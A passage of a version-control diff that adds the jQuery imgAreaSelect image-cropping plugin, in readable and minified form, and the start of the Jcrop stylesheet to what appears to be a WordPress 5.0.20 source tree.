+                    x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1)));
+                y2 = round(max(top, min(top + imgHeight,
+                    y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1))));
+                x2 = round(x2);
+            }
+            else {
+                y2 = max(top, min(top + imgHeight,
+                    y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1)));
+                x2 = round(max(left, min(left + imgWidth,
+                    x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1))));
+                y2 = round(y2);
+            }
+    }
+
+    /**
+     * Resize the selection area respecting the minimum/maximum dimensions and
+     * aspect ratio
+     */
+    function doResize() {
+        /*
+         * Make sure the top left corner of the selection area stays within
+         * image boundaries (it might not if the image source was dynamically
+         * changed).
+         */
+        x1 = min(x1, left + imgWidth);
+        y1 = min(y1, top + imgHeight);
+
+        if (abs(x2 - x1) < minWidth) {
+            /* Selection width is smaller than minWidth */
+            x2 = x1 - minWidth * (x2 < x1 || -1);
+
+            if (x2 < left)
+                x1 = left + minWidth;
+            else if (x2 > left + imgWidth)
+                x1 = left + imgWidth - minWidth;
+        }
+
+        if (abs(y2 - y1) < minHeight) {
+            /* Selection height is smaller than minHeight */
+            y2 = y1 - minHeight * (y2 < y1 || -1);
+
+            if (y2 < top)
+                y1 = top + minHeight;
+            else if (y2 > top + imgHeight)
+                y1 = top + imgHeight - minHeight;
+        }
+
+        x2 = max(left, min(x2, left + imgWidth));
+        y2 = max(top, min(y2, top + imgHeight));
+
+        fixAspectRatio(abs(x2 - x1) < abs(y2 - y1) * aspectRatio);
+
+        if (abs(x2 - x1) > maxWidth) {
+            /* Selection width is greater than maxWidth */
+            x2 = x1 - maxWidth * (x2 < x1 || -1);
+            fixAspectRatio();
+        }
+
+        if (abs(y2 - y1) > maxHeight) {
+            /* Selection height is greater than maxHeight */
+            y2 = y1 - maxHeight * (y2 < y1 || -1);
+            fixAspectRatio(true);
+        }
+
+        selection = { x1: selX(min(x1, x2)), x2: selX(max(x1, x2)),
+            y1: selY(min(y1, y2)), y2: selY(max(y1, y2)),
+            width: abs(x2 - x1), height: abs(y2 - y1) };
+
+        update();
+
+        options.onSelectChange(img, getSelection());
+    }
+
+    /**
+     * Mousemove event handler triggered when the user is selecting an area
+     *
+     * @param event
+     *            The event object
+     * @return false
+     */
+    function selectingMouseMove(event) {
+        x2 = /w|e|^$/.test(resize) || aspectRatio ? evX(event) : viewX(selection.x2);
+        y2 = /n|s|^$/.test(resize) || aspectRatio ? evY(event) : viewY(selection.y2);
+
+        doResize();
+
+        return false;
+    }
+
+    /**
+     * Move the selection area
+     *
+     * @param newX1
+     *            New viewport X1
+     * @param newY1
+     *            New viewport Y1
+     */
+    function doMove(newX1, newY1) {
+        x2 = (x1 = newX1) + selection.width;
+        y2 = (y1 = newY1) + selection.height;
+
+        $.extend(selection, { x1: selX(x1), y1: selY(y1), x2: selX(x2),
+            y2: selY(y2) });
+
+        update();
+
+        options.onSelectChange(img, getSelection());
+    }
+
+    /**
+     * Mousemove event handler triggered when the selection area is being moved
+     *
+     * @param event
+     *            The event object
+     * @return false
+     */
+    function movingMouseMove(event) {
+        x1 = max(left, min(startX + evX(event), left + imgWidth - selection.width));
+        y1 = max(top, min(startY + evY(event), top + imgHeight - selection.height));
+
+        doMove(x1, y1);
+
+        event.preventDefault();
+        return false;
+    }
+
+    /**
+     * Start selection
+     */
+    function startSelection() {
+        $(document).off('mousemove touchmove', startSelection);
+        adjust();
+
+        x2 = x1;
+        y2 = y1;
+        doResize();
+
+        resize = '';
+
+        if (!$outer.is(':visible'))
+            /* Show the plugin elements */
+            $box.add($outer).hide().fadeIn(options.fadeSpeed||0);
+
+        shown = true;
+
+        $(document).off('mouseup touchend', cancelSelection)
+            .on('mousemove touchmove', selectingMouseMove)
+            .one('mouseup touchend', docMouseUp);
+        $box.off('mousemove touchmove', areaMouseMove);
+
+        options.onSelectStart(img, getSelection());
+    }
+
+    /**
+     * Cancel selection
+     */
+    function cancelSelection() {
+        $(document).off('mousemove touchmove', startSelection)
+            .off('mouseup touchend', cancelSelection);
+        hide($box.add($outer));
+
+        setSelection(selX(x1), selY(y1), selX(x1), selY(y1));
+
+        /* If this is an API call, callback functions should not be triggered */
+        if (!(this instanceof $.imgAreaSelect)) {
+            options.onSelectChange(img, getSelection());
+            options.onSelectEnd(img, getSelection());
+        }
+    }
+
+    /**
+     * Image mousedown event handler
+     *
+     * @param event
+     *            The event object
+     * @return false
+     */
+    function imgMouseDown(event) {
+        /* Ignore the event if animation is in progress */
+        if (event.which > 1 || $outer.is(':animated')) return false;
+
+        adjust();
+        startX = x1 = evX(event);
+        startY = y1 = evY(event);
+
+        /* Selection will start when the mouse is moved */
+        $(document).on({ 'mousemove touchmove': startSelection,
+            'mouseup touchend': cancelSelection });
+
+        return false;
+    }
+
+    /**
+     * Window resize event handler
+     */
+    function windowResize() {
+        doUpdate(false);
+    }
+
+    /**
+     * Image load event handler. This is the final part of the initialization
+     * process.
+     */
+    function imgLoad() {
+        imgLoaded = true;
+
+        /* Set options */
+        setOptions(options = $.extend({
+            classPrefix: 'imgareaselect',
+            movable: true,
+            parent: 'body',
+            resizable: true,
+            resizeMargin: 10,
+            onInit: function () {},
+            onSelectStart: function () {},
+            onSelectChange: function () {},
+            onSelectEnd: function () {}
+        }, options));
+
+        $box.add($outer).css({ visibility: '' });
+
+        if (options.show) {
+            shown = true;
+            adjust();
+            update();
+            $box.add($outer).hide().fadeIn(options.fadeSpeed||0);
+        }
+
+        /*
+         * Call the onInit callback. The setTimeout() call is used to ensure
+         * that the plugin has been fully initialized and the object instance is
+         * available (so that it can be obtained in the callback).
+         */
+        setTimeout(function () { options.onInit(img, getSelection()); }, 0);
+    }
+
+    /**
+     * Document keypress event handler
+     *
+     * @param event
+     *            The event object
+     * @return false
+     */
+    var docKeyPress = function(event) {
+        var k = options.keys, d, t, key = event.keyCode;
+
+        d = !isNaN(k.alt) && (event.altKey || event.originalEvent.altKey) ? k.alt :
+            !isNaN(k.ctrl) && event.ctrlKey ? k.ctrl :
+            !isNaN(k.shift) && event.shiftKey ? k.shift :
+            !isNaN(k.arrows) ? k.arrows : 10;
+
+        if (k.arrows == 'resize' || (k.shift == 'resize' && event.shiftKey) ||
+            (k.ctrl == 'resize' && event.ctrlKey) ||
+            (k.alt == 'resize' && (event.altKey || event.originalEvent.altKey)))
+        {
+            /* Resize selection */
+
+            switch (key) {
+            case 37:
+                /* Left */
+                d = -d;
+            case 39:
+                /* Right */
+                t = max(x1, x2);
+                x1 = min(x1, x2);
+                x2 = max(t + d, x1);
+                fixAspectRatio();
+                break;
+            case 38:
+                /* Up */
+                d = -d;
+            case 40:
+                /* Down */
+                t = max(y1, y2);
+                y1 = min(y1, y2);
+                y2 = max(t + d, y1);
+                fixAspectRatio(true);
+                break;
+            default:
+                return;
+            }
+
+            doResize();
+        }
+        else {
+            /* Move selection */
+
+            x1 = min(x1, x2);
+            y1 = min(y1, y2);
+
+            switch (key) {
+            case 37:
+                /* Left */
+                doMove(max(x1 - d, left), y1);
+                break;
+            case 38:
+                /* Up */
+                doMove(x1, max(y1 - d, top));
+                break;
+            case 39:
+                /* Right */
+                doMove(x1 + min(d, imgWidth - selX(x2)), y1);
+                break;
+            case 40:
+                /* Down */
+                doMove(x1, y1 + min(d, imgHeight - selY(y2)));
+                break;
+            default:
+                return;
+            }
+        }
+
+        return false;
+    };
+
+    /**
+     * Apply style options to plugin element (or multiple elements)
+     *
+     * @param $elem
+     *            A jQuery object representing the element(s) to style
+     * @param props
+     *            An object that maps option names to corresponding CSS
+     *            properties
+     */
+    function styleOptions($elem, props) {
+        for (var option in props)
+            if (options[option] !== undefined)
+                $elem.css(props[option], options[option]);
+    }
+
+    /**
+     * Set plugin options
+     *
+     * @param newOptions
+     *            The new options object
+     */
+    function setOptions(newOptions) {
+        if (newOptions.parent)
+            ($parent = $(newOptions.parent)).append($box.add($outer));
+
+        /* Merge the new options with the existing ones */
+        $.extend(options, newOptions);
+
+        adjust();
+
+        if (newOptions.handles != null) {
+            /* Recreate selection area handles */
+            $handles.remove();
+            $handles = $([]);
+
+            i = newOptions.handles ? newOptions.handles == 'corners' ? 4 : 8 : 0;
+
+            while (i--)
+                $handles = $handles.add(div());
+
+            /* Add a class to handles and set the CSS properties */
+            $handles.addClass(options.classPrefix + '-handle').css({
+                position: 'absolute',
+                /*
+                 * The font-size property needs to be set to zero, otherwise
+                 * Internet Explorer makes the handles too large
+                 */
+                fontSize: 0,
+                zIndex: zIndex + 1 || 1
+            });
+
+            /*
+             * If handle width/height has not been set with CSS rules, set the
+             * default 5px
+             */
+            if (!parseInt($handles.css('width')) >= 0)
+                $handles.width(5).height(5);
+
+            /*
+             * If the borderWidth option is in use, add a solid border to
+             * handles
+             */
+            if (o = options.borderWidth)
+                $handles.css({ borderWidth: o, borderStyle: 'solid' });
+
+            /* Apply other style options */
+            styleOptions($handles, { borderColor1: 'border-color',
+                borderColor2: 'background-color',
+                borderOpacity: 'opacity' });
+        }
+
+        /* Calculate scale factors */
+        scaleX = options.imageWidth / imgWidth || 1;
+        scaleY = options.imageHeight / imgHeight || 1;
+
+        /* Set selection */
+        if (newOptions.x1 != null) {
+            setSelection(newOptions.x1, newOptions.y1, newOptions.x2,
+                newOptions.y2);
+            newOptions.show = !newOptions.hide;
+        }
+
+        if (newOptions.keys)
+            /* Enable keyboard support */
+            options.keys = $.extend({ shift: 1, ctrl: 'resize' },
+                newOptions.keys);
+
+        /* Add classes to plugin elements */
+        $outer.addClass(options.classPrefix + '-outer');
+        $area.addClass(options.classPrefix + '-selection');
+        for (i = 0; i++ < 4;)
+            $($border[i-1]).addClass(options.classPrefix + '-border' + i);
+
+        /* Apply style options */
+        styleOptions($area, { selectionColor: 'background-color',
+            selectionOpacity: 'opacity' });
+        styleOptions($border, { borderOpacity: 'opacity',
+            borderWidth: 'border-width' });
+        styleOptions($outer, { outerColor: 'background-color',
+            outerOpacity: 'opacity' });
+        if (o = options.borderColor1)
+            $($border[0]).css({ borderStyle: 'solid', borderColor: o });
+        if (o = options.borderColor2)
+            $($border[1]).css({ borderStyle: 'dashed', borderColor: o });
+
+        /* Append all the selection area elements to the container box */
+        $box.append($area.add($border).add($areaOpera)).append($handles);
+
+        if (msie) {
+            if (o = ($outer.css('filter')||'').match(/opacity=(\d+)/))
+                $outer.css('opacity', o[1]/100);
+            if (o = ($border.css('filter')||'').match(/opacity=(\d+)/))
+                $border.css('opacity', o[1]/100);
+        }
+
+        if (newOptions.hide)
+            hide($box.add($outer));
+        else if (newOptions.show && imgLoaded) {
+            shown = true;
+            $box.add($outer).fadeIn(options.fadeSpeed||0);
+            doUpdate();
+        }
+
+        /* Calculate the aspect ratio factor */
+        aspectRatio = (d = (options.aspectRatio || '').split(/:/))[0] / d[1];
+
+        $img.add($outer).unbind('mousedown', imgMouseDown);
+
+        if (options.disable || options.enable === false) {
+            /* Disable the plugin */
+            $box.off({ 'mousemove touchmove': areaMouseMove,
+                'mousedown touchstart': areaMouseDown });
+            $(window).off('resize', windowResize);
+        }
+        else {
+            if (options.enable || options.disable === false) {
+                /* Enable the plugin */
+                if (options.resizable || options.movable)
+                    $box.on({ 'mousemove touchmove': areaMouseMove,
+                        'mousedown touchstart': areaMouseDown });
+
+                $(window).resize(windowResize);
+            }
+
+            if (!options.persistent)
+                $img.add($outer).on('mousedown touchstart', imgMouseDown);
+        }
+
+        options.enable = options.disable = undefined;
+    }
+
+    /**
+     * Remove plugin completely
+     */
+    this.remove = function () {
+        /*
+         * Call setOptions with { disable: true } to unbind the event handlers
+         */
+        setOptions({ disable: true });
+        $box.add($outer).remove();
+    };
+
+    /*
+     * Public API
+     */
+
+    /**
+     * Get current options
+     *
+     * @return An object containing the set of options currently in use
+     */
+    this.getOptions = function () { return options; };
+
+    /**
+     * Set plugin options
+     *
+     * @param newOptions
+     *            The new options object
+     */
+    this.setOptions = setOptions;
+
+    /**
+     * Get the current selection
+     *
+     * @param noScale
+     *            If set to <code>true</code>, scaling is not applied to the
+     *            returned selection
+     * @return Selection object
+     */
+    this.getSelection = getSelection;
+
+    /**
+     * Set the current selection
+     *
+     * @param x1
+     *            X coordinate of the upper left corner of the selection area
+     * @param y1
+     *            Y coordinate of the upper left corner of the selection area
+     * @param x2
+     *            X coordinate of the lower right corner of the selection area
+     * @param y2
+     *            Y coordinate of the lower right corner of the selection area
+     * @param noScale
+     *            If set to <code>true</code>, scaling is not applied to the
+     *            new selection
+     */
+    this.setSelection = setSelection;
+
+    /**
+     * Cancel selection
+     */
+    this.cancelSelection = cancelSelection;
+
+    /**
+     * Update plugin elements
+     *
+     * @param resetKeyPress
+     *            If set to <code>false</code>, this instance's keypress
+     *            event handler is not activated
+     */
+    this.update = doUpdate;
+
+    /* Do the dreaded browser detection */
+    var msie = (/msie ([\w.]+)/i.exec(ua)||[])[1],
+        opera = /opera/i.test(ua),
+        safari = /webkit/i.test(ua) && !/chrome/i.test(ua);
+
+    /*
+     * Traverse the image's parent elements (up to <body>) and find the
+     * highest z-index
+     */
+    $p = $img;
+
+    while ($p.length) {
+        zIndex = max(zIndex,
+            !isNaN($p.css('z-index')) ? $p.css('z-index') : zIndex);
+        /* Also check if any of the ancestor elements has fixed position */
+        if ($p.css('position') == 'fixed')
+            position = 'fixed';
+
+        $p = $p.parent(':not(body)');
+    }
+
+    /*
+     * If z-index is given as an option, it overrides the one found by the
+     * above loop
+     */
+    zIndex = options.zIndex || zIndex;
+
+    if (msie)
+        $img.attr('unselectable', 'on');
+
+    /*
+     * In MSIE and WebKit, we need to use the keydown event instead of keypress
+     */
+    $.imgAreaSelect.keyPress = msie || safari ? 'keydown' : 'keypress';
+
+    /*
+     * There is a bug affecting the CSS cursor property in Opera (observed in
+     * versions up to 10.00) that prevents the cursor from being updated unless
+     * the mouse leaves and enters the element again. To trigger the mouseover
+     * event, we're adding an additional div to $box and we're going to toggle
+     * it when mouse moves inside the selection area.
+     */
+    if (opera)
+        $areaOpera = div().css({ width: '100%', height: '100%',
+            position: 'absolute', zIndex: zIndex + 2 || 2 });
+
+    /*
+     * We initially set visibility to "hidden" as a workaround for a weird
+     * behaviour observed in Google Chrome 1.0.154.53 (on Windows XP). Normally
+     * we would just set display to "none", but, for some reason, if we do so
+     * then Chrome refuses to later display the element with .show() or
+     * .fadeIn().
+     */
+    $box.add($outer).css({ visibility: 'hidden', position: position,
+        overflow: 'hidden', zIndex: zIndex || '0' });
+    $box.css({ zIndex: zIndex + 2 || 2 });
+    $area.add($border).css({ position: 'absolute', fontSize: 0 });
+
+    /*
+     * If the image has been fully loaded, or if it is not really an image (eg.
+     * a div), call imgLoad() immediately; otherwise, bind it to be called once
+     * on image load event.
+     */
+    img.complete || img.readyState == 'complete' || !$img.is('img') ?
+        imgLoad() : $img.one('load', imgLoad);
+
+    /*
+     * MSIE 9.0 doesn't always fire the image load event -- resetting the src
+     * attribute seems to trigger it. The check is for version 7 and above to
+     * accommodate for MSIE 9 running in compatibility mode.
+     */
+    if (!imgLoaded && msie && msie >= 7)
+        img.src = img.src;
+};
+
+/**
+ * Invoke imgAreaSelect on a jQuery object containing the image(s)
+ *
+ * @param options
+ *            Options object
+ * @return The jQuery object or a reference to imgAreaSelect instance (if the
+ *         <code>instance</code> option was specified)
+ */
+$.fn.imgAreaSelect = function (options) {
+    options = options || {};
+
+    this.each(function () {
+        /* Is there already an imgAreaSelect instance bound to this element? */
+        if ($(this).data('imgAreaSelect')) {
+            /* Yes there is -- is it supposed to be removed? */
+            if (options.remove) {
+                /* Remove the plugin */
+                $(this).data('imgAreaSelect').remove();
+                $(this).removeData('imgAreaSelect');
+            }
+            else
+                /* Reset options */
+                $(this).data('imgAreaSelect').setOptions(options);
+        }
+        else if (!options.remove) {
+            /* No exising instance -- create a new one */
+
+            /*
+             * If neither the "enable" nor the "disable" option is present, add
+             * "enable" as the default
+             */
+            if (options.enable === undefined && options.disable === undefined)
+                options.enable = true;
+
+            $(this).data('imgAreaSelect', new $.imgAreaSelect(this, options));
+        }
+    });
+
+    if (options.instance)
+        /*
+         * Return the imgAreaSelect instance bound to the first element in the
+         * set
+         */
+        return $(this).data('imgAreaSelect');
+
+    return this;
+};
+
+})(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/imgareaselect/jquery.imgareaselect.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/imgareaselect/jquery.imgareaselect.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/imgareaselect/jquery.imgareaselect.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(xe){var we=Math.abs,Se=Math.max,ze=Math.min,ke=Math.round;function Ce(){return xe("<div/>")}xe.imgAreaSelect=function(o,n){var t,i,r,c,d,a,s,u,l,h,f,m,e,p,y,g,v,b,x,w,S,z,k,C,A,W,I,K=xe(o),P=Ce(),N=Ce(),H=Ce().add(Ce()).add(Ce()).add(Ce()),M=Ce().add(Ce()).add(Ce()).add(Ce()),E=xe([]),O={left:0,top:0},T={left:0,top:0},L=0,j="absolute",D={x1:0,y1:0,x2:0,y2:0,width:0,height:0},R=document.documentElement,X=navigator.userAgent;function Y(e){return e+O.left-T.left}function $(e){return e+O.top-T.top}function q(e){return e-O.left+T.left}function B(e){return e-O.top+T.top}function Q(e){return Se(e.pageX||0,G(e).x)-T.left}function F(e){return Se(e.pageY||0,G(e).y)-T.top}function G(e){e=e.originalEvent||{};return e.touches&&e.touches.length?{x:e.touches[0].pageX,y:e.touches[0].pageY}:{x:0,y:0}}function J(e){var t=e||h,e=e||f;return{x1:ke(D.x1*t),y1:ke(D.y1*e),x2:ke(D.x2*t),y2:ke(D.y2*e),width:ke(D.x2*t)-ke(D.x1*t),height:ke(D.y2*e)-ke(D.y1*e)}}function U(e,t,o,i,s){var n=s||h,s=s||f;(D={x1:ke(e/n||0),y1:ke(t/s||0),x2:ke(o/n||0),y2:ke(i/s||0)}).width=D.x2-D.x1,D.height=D.y2-D.y1}function V(){t&&K.width()&&(O={left:ke(K.offset().left),top:ke(K.offset().top)},d=K.innerWidth(),a=K.innerHeight(),O.top+=K.outerHeight()-a>>1,O.left+=K.outerWidth()-d>>1,e=ke(n.minWidth/h)||0,p=ke(n.minHeight/f)||0,y=ke(ze(n.maxWidth/h||1<<24,d)),g=ke(ze(n.maxHeight/f||1<<24,a)),"1.3.2"!=xe().jquery||"fixed"!=j||R.getBoundingClientRect||(O.top+=Se(document.body.scrollTop,R.scrollTop),O.left+=Se(document.body.scrollLeft,R.scrollLeft)),T=/absolute|relative/.test(s.css("position"))?{left:ke(s.offset().left)-s.scrollLeft(),top:ke(s.offset().top)-s.scrollTop()}:"fixed"==j?{left:xe(document).scrollLeft(),top:xe(document).scrollTop()}:{left:0,top:0},r=Y(0),c=$(0),(D.x2>d||D.y2>a)&&ne())}function Z(e){if(b){switch(P.css({left:Y(D.x1),top:$(D.y1)}).add(N).width(A=D.width).height(W=D.height),N.add(H).add(E).css({left:0,top:0}),H.width(Se(A-H.outerWidth()+H.innerWidth(),0)).height(Se(W-H.outerHeight()+H.innerHeight(),0)),xe(M[0]).css({left:r,top:c,width:D.x1,height:a}),xe(M[1]).css({left:r+D.x1,top:c,width:A,height:D.y1}),xe(M[2]).css({left:r+D.x2,top:c,width:d-D.x2,height:a}),xe(M[3]).css({left:r+D.x1,top:c+D.y2,width:A,height:a-D.y2}),A-=E.outerWidth(),W-=E.outerHeight(),E.length){case 8:xe(E[4]).css({left:A>>1}),xe(E[5]).css({left:A,top:W>>1}),xe(E[6]).css({left:A>>1,top:W}),xe(E[7]).css({top:W>>1});case 4:E.slice(1,3).css({left:A}),E.slice(2,4).css({top:W})}!1!==e&&(xe.imgAreaSelect.onKeyPress!=me&&xe(document).unbind(xe.imgAreaSelect.keyPress,xe.imgAreaSelect.onKeyPress),n.keys&&xe(document)[xe.imgAreaSelect.keyPress](xe.imgAreaSelect.onKeyPress=me)),ge&&H.outerWidth()-H.innerWidth()==2&&(H.css("margin",0),setTimeout(function(){H.css("margin","auto")},0))}}function _(e){V(),Z(e),x=Y(D.x1),w=$(D.y1),S=Y(D.x2),z=$(D.y2)}function ee(e,t){n.fadeSpeed?e.fadeOut(n.fadeSpeed,t):e.hide()}function te(e){var t=q(Q(e))-D.x1,e=B(F(e))-D.y1;I||(V(),I=!0,P.one("mouseout",function(){I=!1})),m="",n.resizable&&(e<=n.resizeMargin?m="n":e>=D.height-n.resizeMargin&&(m="s"),t<=n.resizeMargin?m+="w":t>=D.width-n.resizeMargin&&(m+="e")),P.css("cursor",m?m+"-resize":n.movable?"move":""),i&&i.toggle()}function oe(e){xe("body").css("cursor",""),!n.autoHide&&D.width*D.height!=0||ee(P.add(M),function(){xe(this).hide()}),xe(document).off("mousemove touchmove",re),P.on("mousemove touchmove",te),n.onSelectEnd(o,J())}function ie(e){return"mousedown"==e.type&&1!=e.which||(te(e),V(),m?(xe("body").css("cursor",m+"-resize"),x=Y(D[/w/.test(m)?"x2":"x1"]),w=$(D[/n/.test(m)?"y2":"y1"]),xe(document).on("mousemove touchmove",re).one("mouseup touchend",oe),P.off("mousemove touchmove",te)):n.movable?(u=r+D.x1-Q(e),l=c+D.y1-F(e),P.off("mousemove touchmove",te),xe(document).on("mousemove touchmove",de).one("mouseup touchend",function(){n.onSelectEnd(o,J()),xe(document).off("mousemove touchmove",de),P.on("mousemove touchmove",te)})):K.mousedown(e)),!1}function se(e){v&&(e?(S=Se(r,ze(r+d,x+we(z-w)*v*(x<S||-1))),z=ke(Se(c,ze(c+a,w+we(S-x)/v*(w<z||-1)))),S=ke(S)):(z=Se(c,ze(c+a,w+we(S-x)/v*(w<z||-1))),S=ke(Se(r,ze(r+d,x+we(z-w)*v*(x<S||-1)))),z=ke(z)))}function ne(){x=ze(x,r+d),w=ze(w,c+a),we(S-x)<e&&((S=x-e*(S<x||-1))<r?x=r+e:r+d<S&&(x=r+d-e)),we(z-w)<p&&((z=w-p*(z<w||-1))<c?w=c+p:c+a<z&&(w=c+a-p)),S=Se(r,ze(S,r+d)),z=Se(c,ze(z,c+a)),se(we(S-x)<we(z-w)*v),we(S-x)>y&&(S=x-y*(S<x||-1),se()),we(z-w)>g&&(z=w-g*(z<w||-1),se(!0)),D={x1:q(ze(x,S)),x2:q(Se(x,S)),y1:B(ze(w,z)),y2:B(Se(w,z)),width:we(S-x),height:we(z-w)},Z(),n.onSelectChange(o,J())}function re(e){return S=/w|e|^$/.test(m)||v?Q(e):Y(D.x2),z=/n|s|^$/.test(m)||v?F(e):$(D.y2),ne(),!1}function ce(e,t){S=(x=e)+D.width,z=(w=t)+D.height,xe.extend(D,{x1:q(x),y1:B(w),x2:q(S),y2:B(z)}),Z(),n.onSelectChange(o,J())}function de(e){return x=Se(r,ze(u+Q(e),r+d-D.width)),w=Se(c,ze(l+F(e),c+a-D.height)),ce(x,w),e.preventDefault(),!1}function ae(){xe(document).off("mousemove touchmove",ae),V(),S=x,z=w,ne(),m="",M.is(":visible")||P.add(M).hide().fadeIn(n.fadeSpeed||0),b=!0,xe(document).off("mouseup touchend",ue).on("mousemove touchmove",re).one("mouseup touchend",oe),P.off("mousemove touchmove",te),n.onSelectStart(o,J())}function ue(){xe(document).off("mousemove touchmove",ae).off("mouseup touchend",ue),ee(P.add(M)),U(q(x),B(w),q(x),B(w)),this instanceof xe.imgAreaSelect||(n.onSelectChange(o,J()),n.onSelectEnd(o,J()))}function le(e){return 1<e.which||M.is(":animated")||(V(),u=x=Q(e),l=w=F(e),xe(document).on({"mousemove touchmove":ae,"mouseup touchend":ue})),!1}function he(){_(!1)}function fe(){t=!0,ye(n=xe.extend({classPrefix:"imgareaselect",movable:!0,parent:"body",resizable:!0,resizeMargin:10,onInit:function(){},onSelectStart:function(){},onSelectChange:function(){},onSelectEnd:function(){}},n)),P.add(M).css({visibility:""}),n.show&&(b=!0,V(),Z(),P.add(M).hide().fadeIn(n.fadeSpeed||0)),setTimeout(function(){n.onInit(o,J())},0)}var me=function(e){var t,o=n.keys,i=e.keyCode,s=isNaN(o.alt)||!e.altKey&&!e.originalEvent.altKey?!isNaN(o.ctrl)&&e.ctrlKey?o.ctrl:!isNaN(o.shift)&&e.shiftKey?o.shift:isNaN(o.arrows)?10:o.arrows:o.alt;if("resize"==o.arrows||"resize"==o.shift&&e.shiftKey||"resize"==o.ctrl&&e.ctrlKey||"resize"==o.alt&&(e.altKey||e.originalEvent.altKey)){switch(i){case 37:s=-s;case 39:t=Se(x,S),x=ze(x,S),S=Se(t+s,x),se();break;case 38:s=-s;case 40:t=Se(w,z),w=ze(w,z),z=Se(t+s,w),se(!0);break;default:return}ne()}else switch(x=ze(x,S),w=ze(w,z),i){case 37:ce(Se(x-s,r),w);break;case 38:ce(x,Se(w-s,c));break;case 39:ce(x+ze(s,d-q(S)),w);break;case 40:ce(x,w+ze(s,a-B(z)));break;default:return}return!1};function pe(e,t){for(var o in t)void 0!==n[o]&&e.css(t[o],n[o])}function ye(e){if(e.parent&&(s=xe(e.parent)).append(P.add(M)),xe.extend(n,e),V(),null!=e.handles){for(E.remove(),E=xe([]),k=e.handles?"corners"==e.handles?4:8:0;k--;)E=E.add(Ce());E.addClass(n.classPrefix+"-handle").css({position:"absolute",fontSize:0,zIndex:L+1||1}),0<=!parseInt(E.css("width"))&&E.width(5).height(5),(C=n.borderWidth)&&E.css({borderWidth:C,borderStyle:"solid"}),pe(E,{borderColor1:"border-color",borderColor2:"background-color",borderOpacity:"opacity"})}for(h=n.imageWidth/d||1,f=n.imageHeight/a||1,null!=e.x1&&(U(e.x1,e.y1,e.x2,e.y2),e.show=!e.hide),e.keys&&(n.keys=xe.extend({shift:1,ctrl:"resize"},e.keys)),M.addClass(n.classPrefix+"-outer"),N.addClass(n.classPrefix+"-selection"),k=0;k++<4;)xe(H[k-1]).addClass(n.classPrefix+"-border"+k);pe(N,{selectionColor:"background-color",selectionOpacity:"opacity"}),pe(H,{borderOpacity:"opacity",borderWidth:"border-width"}),pe(M,{outerColor:"background-color",outerOpacity:"opacity"}),(C=n.borderColor1)&&xe(H[0]).css({borderStyle:"solid",borderColor:C}),(C=n.borderColor2)&&xe(H[1]).css({borderStyle:"dashed",borderColor:C}),P.append(N.add(H).add(i)).append(E),ge&&((C=(M.css("filter")||"").match(/opacity=(\d+)/))&&M.css("opacity",C[1]/100),(C=(H.css("filter")||"").match(/opacity=(\d+)/))&&H.css("opacity",C[1]/100)),e.hide?ee(P.add(M)):e.show&&t&&(b=!0,P.add(M).fadeIn(n.fadeSpeed||0),_()),v=(C=(n.aspectRatio||"").split(/:/))[0]/C[1],K.add(M).unbind("mousedown",le),n.disable||!1===n.enable?(P.off({"mousemove touchmove":te,"mousedown touchstart":ie}),xe(window).off("resize",he)):(!n.enable&&!1!==n.disable||((n.resizable||n.movable)&&P.on({"mousemove touchmove":te,"mousedown touchstart":ie}),xe(window).resize(he)),n.persistent||K.add(M).on("mousedown touchstart",le)),n.enable=n.disable=void 0}this.remove=function(){ye({disable:!0}),P.add(M).remove()},this.getOptions=function(){return n},this.setOptions=ye,this.getSelection=J,this.setSelection=U,this.cancelSelection=ue,this.update=_;for(var ge=(/msie ([\w.]+)/i.exec(X)||[])[1],ve=/opera/i.test(X),X=/webkit/i.test(X)&&!/chrome/i.test(X),be=K;be.length;)L=Se(L,isNaN(be.css("z-index"))?L:be.css("z-index")),"fixed"==be.css("position")&&(j="fixed"),be=be.parent(":not(body)");L=n.zIndex||L,ge&&K.attr("unselectable","on"),xe.imgAreaSelect.keyPress=ge||X?"keydown":"keypress",ve&&(i=Ce().css({width:"100%",height:"100%",position:"absolute",zIndex:L+2||2})),P.add(M).css({visibility:"hidden",position:j,overflow:"hidden",zIndex:L||"0"}),P.css({zIndex:L+2||2}),N.add(H).css({position:"absolute",fontSize:0}),o.complete||"complete"==o.readyState||!K.is("img")?fe():K.one("load",fe),!t&&ge&&7<=ge&&(o.src=o.src)},xe.fn.imgAreaSelect=function(e){return e=e||{},this.each(function(){xe(this).data("imgAreaSelect")?e.remove?(xe(this).data("imgAreaSelect").remove(),xe(this).removeData("imgAreaSelect")):xe(this).data("imgAreaSelect").setOptions(e):e.remove||(void 0===e.enable&&void 0===e.disable&&(e.enable=!0),xe(this).data("imgAreaSelect",new xe.imgAreaSelect(this,e)))}),e.instance?xe(this).data("imgAreaSelect"):this}}(jQuery);
Index: /tags/5.0.20/src/wp-includes/js/jcrop/jquery.Jcrop.min.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jcrop/jquery.Jcrop.min.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jcrop/jquery.Jcrop.min.css	(revision 56912)
@@ -0,0 +1,29 @@
+/* jquery.Jcrop.min.css v0.9.12 (build:20130521) */
+.jcrop-holder{-ms-touch-action:none;direction:ltr;text-align:left;}
+.jcrop-vline,.jcrop-hline{background:#FFF url(Jcrop.gif);font-size:0;position:absolute;}
+.jcrop-vline{height:100%;width:1px!important;}
+.jcrop-vline.right{right:0;}
+.jcrop-hline{height:1px!important;width:100%;}
+.jcrop-hline.bottom{bottom:0;}
+.jcrop-tracker{-webkit-tap-highlight-color:transparent;-webkit-touch-callout:none;-webkit-user-select:none;height:100%;width:100%;}
+.jcrop-handle{background-color:#333;border:1px #EEE solid;font-size:1px;height:7px;width:7px;}
+.jcrop-handle.ord-n{left:50%;margin-left:-4px;margin-top:-4px;top:0;}
+.jcrop-handle.ord-s{bottom:0;left:50%;margin-bottom:-4px;margin-left:-4px;}
+.jcrop-handle.ord-e{margin-right:-4px;margin-top:-4px;right:0;top:50%;}
+.jcrop-handle.ord-w{left:0;margin-left:-4px;margin-top:-4px;top:50%;}
